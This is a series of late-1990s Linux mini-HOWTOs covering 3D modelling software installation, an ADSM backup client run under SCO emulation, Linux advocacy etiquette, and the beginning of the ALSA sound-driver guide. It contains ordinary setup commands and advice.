If anything goes wrong, please consult the README file that accompanies the Blue Moon Rendering Toolkit, or visit their website.

3.5 Install the Graphics Modeller

The Mops may be installed on a per-user basis, or on a system-wide basis by root (or equivalent). In this example, it is installed using a non-administrative account, which should yield positive results. Note that the compile failed during the install (missing a C header file), so the precompiled binaries (compatible with RedHat v6.0, your system may vary) were installed, as follows:

  1. Change to one directory above where you'd like The Mops to reside. For example, if /usr/local/mops was desired, then issue the following command:
    cd /usr/local
  2. Extract the mops (substitute number where required), then change into its directory:
    tar zxf /usr/local/archives/mops-0.42d-BMRT26-linux.tar.gz
cd mops
  3. Move the following files from /usr/local/mops/src to /usr/local/mops:
    mv src/crtmopssh.sh .
mv src/mfio.so .
mv src/mops .
  4. Copy the .mopsrc file to the home directory of each user wanting to run The Mops. For example, the user "jane" would need the following commands run:
    cp src/mopsrc /home/jane/.mopsrc
  5. Create /usr/local/lib/mops and move the buttons and shaders:
    mkdir /usr/local/lib/mops/
mv buttons/* /usr/local/lib/mops/
mv shader/*.sl* /usr/local/shaders/

If anything goes wrong, please consult the README and Setup.txt files that accompany The Mops, or visit their website.

Log out from root. Log in as a regular user, and run The Mops as follows:

/usr/local/mops/mops

You may wish to create a subdirectory within $HOME/mops called models for saving 3D models.

3.6 Clean Up

Now that the installation is complete, you can remove from your system all files that you no longer require (substituting version numbers where required).

cd /usr/local/archives/
rm -rf BMRT2.6
rm -rf Mesa-3.4.1

Note: Be cautious when using rm -rf ... make sure you are in the correct directory, and the files and/or directories you wish to delete are present.


3D Graphics Modelling and Rendering mini-HOWTO: Miscellaneous Information

 Next Previous Contents

4. Miscellaneous Information

Instead of a frequently asked questions section, here is information about some of the (almost embarassing) problems faced.

4.1 Lighting

The most frustrating problem, initially, was trying to figure out why everything was black -- and then how to actually light objects up. In these "virtual worlds" where you are modelling objects, the worlds are created from scratch. There is no light in the world until you actually put a light source in it! The light sources then shine a given direction, illuminating things in their path (according to the surface properties of the objects). Make certain that your light source is:

  1. pointing (rotated and translated) in the correct direction;
  2. intense enough to actually cast discernable lighting.

4.2 Tutorials

The most basic thing a person would want to do with modelling/rendering packages is position a sphere on a surface, give it some lighting, and see the result. A decent tutorial should describe that first.

That said, The Mops has a wonderful first tutorial.


3D Graphics Modelling and Rendering mini-HOWTO: Related Links

 Next Previous Contents

5. Related Links

5.1 Graphics Libraries

Mesa - An OpenGL-compliant Graphics Library.

5.2 Graphics Renderers

BMRT - The Blue Moon Rendering Toolkit.

POV-Ray - The Persistence of Vision Raytracer.

5.3 Graphics Modellers

The Mops - A 3D modelling package that uses BMRT.

Blender - Freeware modelling and rendering suite of tools.

5.4 Miscellaneous Links

Here are some links that don't really fit into any other category, yet are still worthwhile checking out if you are seriously considering using your Linux computer as a 3D modelling and rendering machine.

3D Software for Linux - Contains most (if not all) links in this document and then some.

3D Modelling Software for Linux - Links to software packages chiefly related to modelling.

3D Modelling and Rendering using Linux - A comprehensive site with articles and software that explains what this document summarizes.


3D Graphics Modelling and Rendering mini-HOWTO: Acknowledgements

 Next Previous Contents

6. Acknowledgements

I would like to extend a heart-felt thanks to the developers of the software packages detailed in this document. The quality of their products is of a commercial level, yet they keep the spirit of free software alive. Well done!


Linux ADSM Mini-Howto

by Thomas König, Thomas.Koenig@ciw.uni-karlsruhe.de

v, 15 January 1997

This document describes how to install and use a client for the commercial ADSM backup system for Linux/i386.

1. Introduction

2. Installing the iBCS module

3. Installing the ADSM client

4. Running the client

5. Known Problems


Linux ADSM Mini-Howto: Introduction

 Next Previous Contents

1. Introduction

ADSM is a network-based backup system, sold by IBM, in use at many organizations. There are clients for a large variety of systems (different UNIX brands, Windows, Novell, Mac, Windows NT). Unfortunately, at the time of this writing, there is no native Linux version.

You will have to use the SCO binary, and install the iBCS2-emulator for running ADSM. This description is for ADSM v2r1.

At the time if this writing, I am only aware of a version which works with the i386 version of Linux.


Linux ADSM Mini-Howto: Installing the iBCS module

 Next Previous Contents

2. Installing the iBCS module

The iBCS2 module is available from ftp://tsx-11.mit.edu/pub/linux/BETA/ibcs2. If you are running kernel version 1.2.13, get ibcs-1.2-950721.tar.gz, unpac it and apply the patches ibcs-1.2-950808.patch1 and ibcs-1.2-950828.patch2. You can then type "make" and install the iBCS modlue with "insmod".

For a 2.0 kernel version, get ibcs-2.0-960610.tar.gz, unpack it in a suitable place, chdir into that directory, and apply the following patch:

--- iBCSemul/ipc.c.orig Wed Jan 15 21:32:15 1997
+++ iBCSemul/ipc.c      Wed Jan 15 21:32:31 1997
@@ -212,7 +212,7 @@
        switch (command) {
                case U_SEMCTL:
                        cmd = ibcs_sem_trans(arg3);
-                       arg4 = (union semun *)get_syscall_parameter (regs, 4);
+                       arg4 = (union semun *)(((unsigned long *) regs->esp) + (5));
                        is_p = (struct ibcs_semid_ds *)get_fs_long(arg4->buf);
 #ifdef IBCS_TRACE
                        if ((ibcs_trace & TRACE_API) || ibcs_func_p->trace)
Then, copy CONFIG.i386 to CONFIG, and type make.

If you don't have them already, create the needed device files by executing

# cd /dev
# ln -s null XOR
# ln -s null X0R
# mknod socksys c 30 0
# mknod spx c 30 1


Linux ADSM Mini-Howto: Installing the ADSM client

 Next Previous Contents

3. Installing the ADSM client

The SCO binary is supplied as three tar files, or disks. Change to the root directory, set your umask according to your policies, and unpack them from there (as root). In your Directory /tmp, you will find an installation script; execute that.

You will then have to hand-edit /usr/adsm/dsm.sys and /usr/adsm/dsm.opt. In dsm.sys, important lines to specify are:

Servername

The name of the server

TCPServeraddress

The fully qualified host name of the server

NODename

Your own hostname

In dsm.opt, you will have to specify
Server

As before

Followsymbolic

Wether or not to follow symbolic links (not a good idea, in general)

SUbdir

Wether to back up subdirectories (you usually want that)

domain

The file systems to back up

You will then have to create a SCO-compatible /etc/mnttab from your /etc/fstab. You can use the following Perl script, fstab2mnttab, for this.

#!/usr/bin/perl

$mnttab_struct = "a32 a32 I L";

open(MTAB, "/etc/mtab") || die "Cannot open /etc/mtab: $!\n";
open(MNTTAB, ">/etc/mnttab") || die "Cannot open /etc/mnttab: $!\n";

while(<MTAB>) {
    next if /pid/;
    chop;
    /^(\S*)\s(\S*)\s(\S*)\s.*$/;
    $device = $1;
    $mountpt = $2;
    $fstype = $3;
    if($fstype ne "nfs" && $fstype ne "proc") {
        $mnttab_rec =
            pack($mnttab_struct, $device, $mountpt, 0x9d2f, time());
        syswrite(MNTTAB, $mnttab_rec, 72);
        print "Made entry for: $device $mountpt $fstype\n";
    }
}

close(MNTTAB);
exit 0;
You do not need to install any shared libraries for these clients; everything is linked statically.


Linux ADSM Mini-Howto: Running the client

 Next Previous Contents

4. Running the client

There are two clients, dsm, which is an X11 interface, and dsmc, a command-line interface. Your computer centre will tell you how to run it. Some startup script at boot, for example

dsmc schedule -quiet 2>&1 >/dev/null &
will probably be required.


Linux ADSM Mini-Howto: Known Problems

 Next Previous Contents

5. Known Problems

Unfortunately, SCO can only deal with hostnames no longer than eight characters. If your hostname is longer, or fully qualified, you may need to specify your hostname on the NODename line in /usr/adsm/dsm.sys.

If you use the DISPLAY variable, you will have to supply the fully qualified host name (i.e. DISPLAY=host.full.do.main:0 instead of DISPLAY=host:0).


Linux Advocacy mini-HOWTO

Paul L. Rogers, Paul.L.Rogers@li.org

v0.5c, 3 May 2000

This document provides suggestions for how the Linux community can effectively advocate the use of Linux.

1. About this document

2. Copyright Information

3. Introduction

4. Related Information

5. Advocating Linux

6. Canons of Conduct

7. User Groups

8. Vendor Relations

9. Media Relations

10. Acknowledgements


Linux Advocacy mini-HOWTO: About this document

 Next Previous Contents

1. About this document

This is the Linux Advocacy mini-HOWTO and is intended to provide guidelines and ideas to assist with your Linux advocacy efforts.

This mini-HOWTO was inspired by Jon ``maddog'' Hall when he responded to a request for feedback on guidelines for advocating Linux during NetDay activities. He responded positively to the guidelines and observed that they were the basis of a list of ``canons of conduct'' that would benefit the Linux community.

This document is available in HTML form at http://www.datasync.com/~rogerspl/Advocacy-HOWTO.html.

Nat Makarevitch <nat@nataa.fr.eu.org> has translated this document into French.

Chie Nakatani <jeanne@mbox.kyoto-inet.or.jp> has translated this document into Japanese.

Janusz Batko <janus@krakow.linux.org.pl> has translated this document into Polish.

Bruno H. Collovini <buick@microlink.com.br> has translated this document into Portuguese.

Mauricio Rivera Pineda <rmrivera@hotmail.com> has translated this document into Spanish.

The author and maintainer of the Linux Advocacy mini-HOWTO is Paul L. Rogers <Paul.L.Rogers@li.org>.

Comments and proposed additions are welcome.

If you need to know more about the Linux Documentation Project or about Linux HOWTO's, feel free to contact the supervisor Tim Bynum <linux-howto@sunsite.unc.edu>. Tim Bynum will post this document to several national and international newsgroups on a monthly basis.

A personal note: Due to various circumstances, I have not been able to dedicate as much time to maintaining this mini-HOWTO and interacting with the Linux community as I would have desired. I apologize for this and if you have attempted to contact me and I was slow in responding, please forgive me being so inconsiderate. While I still have many other commitments, I am anticipating that they will start requiring less time to meet and allow me to catch up on other parts of my life. I appreciate your patience and would like to extend a special thanks to all who have taken the time to suggest additions and corrections.


Linux Advocacy mini-HOWTO: Copyright Information

 Next Previous Contents

2. Copyright Information

This mini-HOWTO is Copyright © 1996-2000 by Paul L. Rogers. All rights reserved.

A verbatim copy may be reproduced or distributed in any medium physical or electronic without permission of the author. Translations are similarly permitted without express permission if it includes a notice on who translated it.

Short quotes may be used without prior consent by the author. Derivative work and partial distributions of the Advocacy mini-HOWTO must be accompanied with either a verbatim copy of this file or a pointer to the verbatim copy.

Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

We further want that all information provided in the HOWTOs is disseminated. If you have questions, please contact Tim Bynum, the Linux HOWTO coordinator, at linux-howto@sunsite.unc.edu.


Linux Advocacy mini-HOWTO: Introduction

 Next Previous Contents

3. Introduction

The Linux community has known for some time that for many applications, Linux is a stable, reliable, robust (although not perfect) product. Unfortunately, there are still many people, including key decision-makers, that are not aware of the existence of Linux and its capabilities.

If Linux and the many other components that make up a Linux distribution are to reach their full potential, it is critical that we reach out to prospective ``customers'' and advocate (being careful not to promise too much) the use of Linux for appropriate applications. The reason that many a company's products have done well in the marketplace is not so much due to the product's technical superiority but the company's marketing abilities.

If you enjoy using Linux and would like to contribute something to the Linux community, please consider acting on one or more of the ideas in this mini-HOWTO and help others learn more about Linux.


Linux Advocacy mini-HOWTO: Related Information

 Next Previous Contents

4. Related Information

Lars Wirzenius, former comp.os.linux.announce moderator and long-time Linux activist, also has some thoughts about Linux advocacy.

Eric S. Raymond provides an analysis of why the development model used by the Linux community has been so successful.

The free software community has recognized that the terms "free software" and "freely available software" are not appropriate in all contexts. For more information about using the term "open-source software" when marketing "free software", please visit the Open Source site.

If you need to brush up on your Linux sales techniques, take a look at the Linuxmanship essay by Donald B. Marti, Jr.

The Linux PR site discusses the importance of press releases to the Linux community. Another way to gain valuable experience in this area is to organize a NetDay at a local school using the guidelines presented in the NetDay How-To Guide.

Linux International's goal is to promote the development and use of Linux.

The Linux Documentation Project is an invaluable resource for Linux advocates.

The Linux Center Project provides a thematical index of resources about Linux and free software.

The Linux Business Applications site provides a forum for organizations that depend on Linux for day-to-day business operations to share their experiences.

Linux Enterprise Computing and Freely Redistributable Software in Business cover resources and topics of interest to those deploying Linux in a business/commercial/enterprise setting.

The Linux Advocacy Project's goal is to encourage commercial application developers to provide native Linux versions of their software.

The Linux CD and Support Giveaway program is helping make Linux more widely available by encouraging the reuse of Linux CD-ROMs.

Specialized Systems Consultants, Inc. (SSC) hosts the Linux Resources site and publishes the Linux Journal.

The linux-biz mailing list is a forum created to discuss the use of Linux in a business environment.

The Linux Mission Critical Systems survey documents successful existing systems which have a large load and are up 24 hours per day.

A number of online publications are now devoted to covering Linux. These include:

  • LinuxFocus
  • Linuxove noviny
  • Linux Gazette
  • PLUTO Journal.

Additional links to online publications can be found at the Linux Documentation Project and the Linux Center Project.


Linux Advocacy mini-HOWTO: Advocating Linux

 Next Previous Contents

5. Advocating Linux

  • Share your personal experiences (good and bad) with Linux. Everyone knows that software has bugs and limitations and if we only have glowing comments about Linux, we aren't being honest. I love to tell people about having to reboot four times (three scheduled) in three years.
  • If someone has a problem that Linux may be able to solve, offer to provide pointers to appropriate information (Web pages, magazine articles, books, consultants, ...). If you haven't actually used the proposed solution, say so.
  • If you are available for making presentations about Linux, register with the Linux Speakers Bureau.
  • Offer to help someone start using Linux. Follow up to make sure that they are able to use their system effectively.
  • Some people still believe that Linux and similar systems operate only in text-mode. Make sure that they are aware of the availability of graphical applications, such as the Gimp.
  • Try to respond to one ``newbie'' posting each week. Seek out the tough questions, you may be the only one to respond and you may learn something in the process. However, if you aren't confident that you can respond with the correct answer, find someone that can.
  • Seek out small software development firms and offer to make a presentation about Linux.
  • If the opportunity arises, make a presentation to your employer's Information Technology group.
  • Participate in community events such as NetDay. While your first priority must be to contribute to the success of the event, use the opportunity to let others know what Linux can do for them.
  • Always consider the viewpoints of the person to whom you are ``selling'' Linux. Support, reliability, interoperability and cost are all factors that a decision-maker must consider. Of the above, cost is often the least important portion of the equation.
  • Availability of support is often mentioned as a concern when considering the adoption of Linux. Companies such as Caldera, Cygnus Solutions, Red Hat, and S.u.S.E. offer support for some or all components of a typical Linux distribution. In addition, the Linux Consultants HOWTO provides a listing of companies providing commercial Linux related support. Of course, some of the best support is found in the comp.os.linux and linux newsgroup hierarchies.
  • Point out that the production of open-source software takes place in an environment of open collaboration between system architects, programmers, writers, alpha/beta testers and end users which often results in well documented, robust products such as Apache, GNU Emacs, Perl and the Linux kernel.
  • Stand up and be counted! Register with the Linux Counter.
  • Report successful efforts of promoting Linux to Linux International ( li@li.org) and similar organizations.
  • Find a new home for Linux CD-ROMs and books that you no longer need. Give them to someone interested in Linux, a public library or a school computer club. A book and its CD-ROM would be most appropriate for a library. However, please be sure that making the CD-ROM publicly available does not violate a licensing agreement or copyright. Also, inform the library staff that the material on the CD-ROM is freely distributable. Follow up to make sure it is available on the shelves.
  • When purchasing books about software distributed with Linux, give preference to books written by the author of the software. The royalties that authors receive from book sales may be the only monetary compensation received for their efforts. <-- Need to fix or change the Powered by Linux text -->
  • Encourage Linux-based sites to submit their entry for the Powered by Linux page and suggest that banners promoting Linux, Apache, GNU, Perl ... be displayed on their site.
  • Participate! If you have benefited from open-source software, please consider assisting the free software community by:
    • submitting detailed bug reports
    • writing documentation
    • creating artwork
    • supplying management skills
    • suggesting enhancements
    • providing technical support
    • contributing software
    • donating equipment
    • furnishing financial support.
    The Linux Documentation Project provides a list of Linux and Linux-related projects.
  • Finally, keep in mind that we all have infinitely more important issues to deal with than the selection of a computing environment.


Linux Advocacy mini-HOWTO: Canons of Conduct

 Next Previous Contents

6. Canons of Conduct

  • As a representative of the Linux community, participate in mailing list and newsgroup discussions in a professional manner. Refrain from name-calling and use of vulgar language. Consider yourself a member of a virtual corporation with Mr. Torvalds as your Chief Executive Officer. Your words will either enhance or degrade the image the reader has of the Linux community.
  • Avoid hyperbole and unsubstantiated claims at all costs. It's unprofessional and will result in unproductive discussions.
  • A thoughtful, well-reasoned response to a posting will not only provide insight for your readers, but will also increase their respect for your knowledge and abilities.
  • Don't bite if offered flame-bait. Too many threads degenerate into a ``My O/S is better than your O/S'' argument. Let's accurately describe the capabilities of Linux and leave it at that.
  • Always remember that if you insult or are disrespectful to someone, their negative experience may be shared with many others. If you do offend someone, please try to make amends.
  • Focus on what Linux has to offer. There is no need to bash the competition. Linux is a good, solid product that stands on its own.
  • Respect the use of other operating systems. While Linux is a wonderful platform, it does not meet everyone's needs.
  • Refer to another product by its proper name. There's nothing to be gained by attempting to ridicule a company or its products by using ``creative spelling''. If we expect respect for Linux, we must respect other products.
  • Give credit where credit is due. Linux is just the kernel. Without the efforts of people involved with the GNU project, MIT, Berkeley and others too numerous to mention, the Linux kernel would not be very useful to most people.
  • Don't insist that Linux is the only answer for a particular application. Just as the Linux community cherishes the freedom that Linux provides them, Linux only solutions would deprive others of their freedom.
  • There will be cases where Linux is not the answer. Be the first to recognize this and offer another solution.


Linux Advocacy mini-HOWTO: User Groups

 Next Previous Contents

7. User Groups

  • Participate in a local user group. An index of Linux User Group registries is part of the Linux Documentation Project. If a user group does not exist in your area, start one.
  • The Linux User Group HOWTO covers many of the issues involved with starting an user group and discusses the importance of Linux advocacy as one of the goals of a user group.
  • Make speakers available to organizations interested in Linux.
  • Issue press releases about your activities to your local media.
  • Volunteer to configure a Linux system to meet the needs of local community organizations. Of course, the installation process must include training the user community to use the system and adequate documentation for ongoing maintenance.
  • Discus the Linux Advocacy mini-HOWTO at a meeting. Brainstorm and submit new ideas.


Linux Advocacy mini-HOWTO: Vendor Relations

 Next Previous Contents

8. Vendor Relations

  • When contemplating a hardware purchase, ask the vendor about Linux support and other user's experiences with the product in a Linux environment.
  • Consider supporting vendors that sell Linux based products and services. Encourage them to have their product listed in the Linux Commercial HOWTO.
  • Support vendors that donate a portion of their income to organizations such as the Free Software Foundation, the Linux Development Grant Fund, the XFree86 Project or Software in the Public Interest. If possible, make a personal donation to these or other organizations that support open-source software. Don't forget that some employers offer a matching gift program program.
  • If you need an application that is not supported on Linux, contact the vendor and request a native Linux version.


Linux Advocacy mini-HOWTO: Media Relations

 Next Previous Contents

9. Media Relations

  • Linux International is collecting press clippings that mention Linux, GNU and other freely redistributable software. When you see such an article, please send the following information to clippings@li.org:
    • Name of publication
    • Publisher's contact address
    • Name of author
    • Author's contact address
    • Title of article
    • Page number where the article starts
    • The URL if available online
    • A summary of the article, including your opinion
  • If you believe that Linux was not given fair treatment in an article, review or news story, send the details, including the above information, to li@li.org so that an appropriate response can be sent to the publisher. If you contact the publisher directly, be professional and sure of your facts.
  • If you involved with a Linux related project, issue press releases to appropriate news services on a regular basis.


Linux Advocacy mini-HOWTO: Acknowledgements

 Next Previous Contents

10. Acknowledgements

Grateful acknowledgement is made to all contributors, including:

Kendall G. Clark          <kclark@cmpu.net>
Wendell Cochran           <atrypa@eskimo.com>
Bruno H. Collovini        <buick@microlink.com.br>
Allan "Norm" Crain        <allanc@idea-inc.com>
Jon "maddog" Hall         <maddog@zk3.digital.com>
Greg Hankins              <gregh@cc.gatech.edu>
Eric Ladner               <eladner@goldinc.com>
Chie Nakatani             <jeanne@mbox.kyoto-inet.or.jp>
Daniel P. Kionka          <dkionka@worldtalk.com>
Nat Makarevitch           <nat@nataa.fr.eu.org>
Martin Michlmayr          <tbm@cyrius.com>
Rafael Caetano dos Santos <rcaetano@dijkstra.ime.usp.br>
Idan Shoham               <idan@m-tech.ab.ca>
Adam Spiers               <adam.spiers@new.ox.ac.uk>
C. J. Suire               <suire@datasync.com>
Juhapekka Tolvanen        <juhtolv@silmu.cc.jyu.fi>
Lars Wirzenius            <liw@iki.fi>
Sean Woolcock             <sbwoolco@eos.ncsu.edu>


Alsa-sound-mini-HOWTO

Valentijn Sessink valentyn@alsa-project.org

v2.0-pre1, 12 November 1999

Describes the installation of the ALSA sound drivers for Linux. These sound drivers can be used as a replacement for the regular sound drivers, as they are fully compatible.

1. Introduction

  • 1.1 Acknowledgments
  • 1.2 Revision History
  • 1.3 New versions of this document
  • 1.4 Feedback
  • 1.5 Distribution Policy

2. NOWTO - a quick install guide

  • 2.1 Installing ALSA for kernels 2.2.x
  • 2.2 Playing and recording sound
  • 2.3 Installing ALSA for 2.0.x
  • 2.4 Playing and recording sound

3. Before you start

  • 3.1 Introduction
  • 3.2 General information about the ALSA drivers
  • 3.3 Supported hardware
  • 3.4 Other HOWTO's

4. How to install ALSA sound drivers

  • 4.1 What you need
  • 4.2 Getting the drivers
  • 4.3 ALSA versions
  • 4.4 Extracting
  • 4.5 Compiling
  • 4.6 Preparing the devices

5. Loading the driver

  • 5.1 Inserting with modprobe
  • 5.2 Which module for which card?
  • 5.3 modprobe for drivers without auto-probing
  • 5.4 The kerneld approach
  • 5.5 Backwards compatibility

6. Testing and using

  • 6.1 The /proc filesystem
  • 6.2 The mixer
  • 6.3 The /dev/snd/ devices
  • 6.4 Additional information

7. Tips and Troubleshooting

  • 7.1 Compiling the driver
  • 7.2 Loading the driver
  • 7.3 Driver loaded... but no (or hardly any) sound
  • 7.4 General suggestions
  • 7.5 Bug reports
  • 7.6 Tip: playing CD's
  • 7.7 Tip: installing the MIDI serial driver
  • 7.8 Tip: new kernel? New modules!
  • 7.9 Tip: KDE and ALSA drivers
  • 7.10 Tip: use the ALSA devices
  • 7.11 Tip: removing all modules


Alsa-sound-mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

This is the ALSA Sound drivers mini-HOWTO. It gives you information about installing and using the ALSA sound drivers for your soundcard. The ALSA drivers are fully modularized sound drivers that support kerneld and kmod. They are compatible with, but surpass the possibilities of, the current OSS API. In other words: compatible, but better.

1.1 Acknowledgments

This documents contains information I got from the ALSA driver page. The structure was ripped off the SB-mini-HOWTO, mainly because it had about the structure I was looking for. Thanks to the SGML Tools package, this HOWTO is available in several formats, all generated from a common source file. Thanks to Erik Warmelink for proof reading, thanks to Alfred Munnikes for a couple of questions and helpful suggestions. Yamahata Isaku thanks for the Japanese translation, Miodrag Vallat for the translation in French. Later on, Steve Crowder did a great job by reading and editing the whole text. Thanks to Cserna Zsolt for the Hungarian translation and Marco Meloni for the Italian one. Thanks to Mohamed Ismail Mohamed-Ibrahim who sent me a document about the Trident 4DWave DX/NX soundcard with a lot of useful information, thanks to Gerard Haagh who sent me a lot of useful information and who also pointed out a few unclear sections.

Thanks to Marc-Aur`ele Darche, Piotr Ingling, Juergen Kahrs, Tim Pearce, Patrick Stoddard, Rutger de Graaf, Shuly Wintner, Jyrki Saarela, Jonas Lofwander, Kumar Sankaran and many others for useful tips and additions.

1.2 Revision History

Version 2.0-pre1 - November 12, 1999. Updating a couple of sections to ALSA 0.4.1e., added various links.

Version 1.7 - July 29, 1999. A few fixes.

Version 1.6 - July 26, 1999. Added a section about ALSA-versions

Version 1.5 - May 21, 1999. Changed the mixer section, added a quick install section

Version 1.4 - May 18, 1999. Included the URL to the French version, changed more URLs.

Version 1.3 - May 16, 1999. Thanks to Jaroslav this HOWTO has found a home at the ALSA-project website. As a result of that, some updates in mail and web addresses.

Version 1.2 - May 11, 1999. Several updates.

Version 1.1 - March 11, 1999. Added a couple of sound cards from the new 0.3 series drivers, wrote a bit about the 2.2 series kernel.

Version 1.0 - February 8, 1999. Added a few things to the troubleshooting section, but we seem fairly complete.

Version 0.3 beta - January 20, 1999. A link on the ALSA-homepage. Ha, we're official!

Version 0.2 alpha - Mid January 1999, first .sgml-version.

Version 0.1 alpha - January 1999, first version, mostly HTML.

Still: please submit any patches in plain English, you native speakers!

There are a couple of additions that need to be added to the HOWTO now. Notably, Mohamed Ismail Mohamed-Ibrahim and Gerard Haagh wrote wonderful additions to the HOWTO, that will keep me off my regular work for some more time. So this is 2.0-pre1 and more pre's are to follow.

1.3 New versions of this document

The latest version can be found at http://www.alsa-project.org./~valentyn

Other formats (full size html, sgml, txt) are in the directory other-formats. Unfortunately, I have not succeeded in compiling a Postscript version, as the sgml2latex-script returns a bunch of errors.

Yamahata Isaku has translated a Japanese version, which will be available at the Japanese ALSA site, http://plaza21.mbn.or.jp/~momokuri/alsa/index.html

Miodrag Vallat translated a French version, which is available at http://www.freenix.fr/unix/linux/HOWTO/mini/Alsa.html.

Cserna Zsolt has translated the Hungarian version of the ALSA-HOWTO. You can find it at http://kib4.vein.hu/~zsolt/alsa.html.

Marco Meloni did an Italian version, you can get it at http://pluto.linux.it/ildp/index.html.

If you make a translation of this document into another language, let me know and I'll include a reference to it here. Ook een Nederlandse versie is welkom, ik heb zelf geen tijd om deze te schrijven. Leve de koningin!

1.4 Feedback

I rely on you, the reader, to make this HOWTO useful. If you have any suggestions, corrections or comments, please send them to me ( alsa-howto@alsa-project.org), and I will try to incorporate them in the next revision.

Please note: I do not get a lot of mail about the ALSA drivers and any addition is welcome. Even a ``thank you for'' is appreciated - maybe it's not too much work to add a ``I appreciated most'' or ``this-or-that was not immediately clear to me''-section.

If you publish this document on a CD-ROM or in hardcopy form, a complimentary copy would be appreciated. Mail me for my postal address. Also consider making a donation to the Linux Documentation Project to help support free documentation for Linux. Contact the Linux HOWTO co-ordinator, Tim Bynum linux-howto@metalab.unc.edu, for more information.

1.5 Distribution Policy

Copyright 1998/1999 Valentijn Sessink

This HOWTO is free documentation; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This document is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose. See the GNU General Public License for more details.

You can obtain a copy of the GNU General Public License by writing to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.


Alsa-sound-mini-HOWTO: NOWTO - a quick install guide

 Next Previous Contents

2. NOWTO - a quick install guide

If you want sound and you want it NOW! and not after reading this HOWTO, this quick tour through the ALSA driver installation might be of help. Please note: there are a couple of differences between the ALSA versions that support 2.0 kernels and those that support 2.2 kernels.

2.1 Installing ALSA for kernels 2.2.x

You will probably want to use the ALSA 0.4.1e (or later) version if your kernel is 2.2.x. If your kernel is older, please use 0.3.0-pre4 and see below.

Just the all time ``./configure - make - make install'' stuff. Do this for drivers, library and utilities. You need all three because the utilities help you to unmute your card. Kernels 2.2.x need to have general sound support in the kernel (without choosing a specific card).

The ALSA drivers have their own devices, you can make them usinge the ./snddevices script.

You need to load the module for your card (or use kmod) and if you want sound to be backwards compatible with the Linux kernel sound drivers (yes you want this) you need two other modules called snd-pcm1-oss and snd-mixer-oss. See the section Which module for which card to find out which module to load. After loading, you can look in /proc/asound for various information about the ALSA drivers.

2.2 Playing and recording sound

A few remarks. ALSA has it's own devices in /dev/snd, for example /dev/snd/pcmC0D1 is Card 0, Device 1. You can use the old /dev/pcmXY devices if you loaded snd-pcm1-oss for backwards compatibility. You'll also want to use /dev/mixer, so load snd-mixer-oss as well. Before you can play any sound, you need to unmute the card with ``amixer''. Type ``amixer groups'', then try something like

amixer set PCM 100 unmute

Generally you can use options ``mute'' or ``unmute'', ``capture'' or ``nocapture'' and numbers.

That's it! Now if it works, it works. If it doesn't work, you may need to actually read this HOWTO...

2.3 Installing ALSA for 2.0.x

The ALSA drivers versions 0.3.0, 0.3.1 and 0.3.2 have various problems due to the restructuring of the mixer interface. Later versions do not support kernel 2.0.x, so you definately will want to use version 0.3.0-pre4 if you have a 2.0 version kernel.

Just the all time ``./configure - make - make install'' stuff. Do this for drivers, library and utilities. You need all three because the utilities help you to unmute your card. Kernels 2.0.x need to have all sound support disabled in the kernel setup

The ALSA drivers have their own devices, you can make them usinge the ./snddevices script.

You need to load the module for your card (or use kmod) and if you want sound to be backwards compatible with the Linux kernel sound drivers (yes you want this) you need another modules called snd-pcm1-oss. See the section Which module for which card to find out which module to load. After loading, you can look in /proc/asound for various information about the ALSA drivers.

2.4 Playing and recording sound

A few remarks. ALSA has it's own devices in /dev/snd, for example /dev/snd/pcmC0D1 is Card 0, Device 1. You can use the old /dev/pcmXY devices if you loaded snd-pcm1-oss for backwards compatibility. Before you can play any sound, you need to unmute the card with ``amixer''. Type ``amixer'', then try something like

amixer pcm 100 unmute

Generally you can use options ``mute'' or ``unmute'', ``rec'' or ``norec'', numbers or left:right.

That's it! Now if it works, it works. If it doesn't work, you may need to actually read this HOWTO...


Alsa-sound-mini-HOWTO: Before you start

 Next Previous Contents

3. Before you start

3.1 Introduction

This document tries to help you install and use the ALSA sound drivers in your Linux system. The reference system is a Slackware 4.0 distribution of Linux on an AMD/K6 computer (x86 compatible), but it should work with any other Linux distribution. I do not know if the ALSA drivers work on other platforms, according to the documentation, Alpha has been tested and proven to work. I have only x86 PC's here, so any additional information you may have would be appreciated.

It might be handy to read the Linux Sound HOWTO (see section Other HOWTO's), but that HOWTO focuses on the built-in kernel drivers.

3.2 General information about the ALSA drivers

The ALSA sound driver was originally written as a replacement for the Linux kernel sound for Gravis UltraSound (GUS) cards. As this GUS replacement proved to be a success, the author started the ALSA project for a generic driver for several sound chips, with fully modularized design.

It is compatible with the OSS/Free and OSS/Linux sound drivers (the drivers in the kernel), but has its own interface that is even better than the OSS drivers. A list of features can be found at http://www.alsa-project.org/intro.html

Please note that the ALSA drivers are still under development. Things may change over time, and some programs that rely on ALSA only work under specific versions of it. Apart from that: I think they're great. I use ALSA for 10 months now and will never go back to the dark ages of closed source sound drivers - hint ;)

The main page of the ALSA project is http://www.alsa-project.org/

3.3 Supported hardware

The ALSA drivers support only a subset of all sound cards available. As the time of writing, the following cards are supported.

  • Cards with a Trident 4D Wave DX/NX chipset, thanks to Trident Microsystems who offered ALSA ``first cut'' GPL'd drivers (MIXER and PCM devices only) and documentation for their 4D Wave PCI audio chipsets. See http://www.tridentmicro.com/HTML/products%20folder/audio.htm for more information. Cards using this chipset include: Best Union Miss Melody 4DWave PCI, HIS 4DWave PCI, Warpspeed ONSpeed 4DWave PCI, AzTech PCI 64-Q3D, Addonics SV 750, CHIC True Sound 4Dwave, Shark Predator4D-PCI and Jaton SonicWave 4D.
  • Gravis Ultrasound (GUS): ``PnP'', Extreme, Classic/ACE, MAX
  • Cards with a GUS chipset: Dynasonic 3-D, STB Sound Rage 32, UltraSound 32-Pro (STB), ExpertColor MED3201 and others with AMD InterWave™ chip, notably some STB cards by Compaq
  • Soundblaster: 1.0, 2.0, Pro, 16, AWE32/64, PCI64
  • ESS AudioDrive ESx688
  • ESS ES968 chip based cards (PnP only).
  • ESS ES18xx (chipsets). Please note that I personally experienced a lot of trouble with the ESS1888. The developer of the driver for this card did his best, but to no avail.
